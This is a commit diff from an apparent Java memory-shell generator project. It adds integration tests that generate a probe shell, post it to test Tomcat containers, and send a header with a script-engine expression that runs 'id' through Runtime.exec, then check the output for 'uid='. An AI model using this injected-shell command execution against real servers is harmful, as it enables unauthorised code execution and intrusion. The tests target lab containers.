archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support script engine probe

Browse Source
This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent fab623ac4f
commit f0526eeb28
16 changed files with 146 additions and 13 deletions
Download Patch File Download Diff File Expand all files Collapse all files
integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java
+32
View File
@@ -110,4 +110,36 @@ public class ProbeAssertion {
));
}
}
@SneakyThrows
public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.ScriptEngine)
.debug(true)
.shrink(true)
.staticInitialize(true)
.targetJreVersion(targetJreVersion)
.build();
String headerName = "X-Header";
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(server)
.reqParamName(headerName)
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
String content = probeResult.getShellBytesBase64Str();
RequestBody requestBody = new FormBody.Builder()
.add("data", content)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
.url(url + "/b64").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertThat(response.body().string(), anyOf(
containsString("uid=")
));
}
}
}
integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java
+8 -1
View File
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -63,6 +63,13 @@ public class Tomcat10ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java
+7
View File
@@ -71,6 +71,13 @@ public class Tomcat5ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java
+7
View File
@@ -63,6 +63,13 @@ public class Tomcat6ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java
+8 -1
View File
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.junitpioneer.jupiter.RetryingTest;
import org.testcontainers.containers.GenericContainer;
@@ -65,6 +65,13 @@ public class Tomcat7ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java
+8 -1
View File
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -64,6 +64,13 @@ public class Tomcat8ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java
+8 -1
View File
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.objectweb.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.junitpioneer.jupiter.RetryingTest;
import org.testcontainers.containers.GenericContainer;
@@ -64,6 +64,13 @@ public class Tomcat9ContainerTest {
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
}
@Test
@SneakyThrows
void testScriptEngineReqHeaderResponseBody() {
String url = getUrl(container);
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V9);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {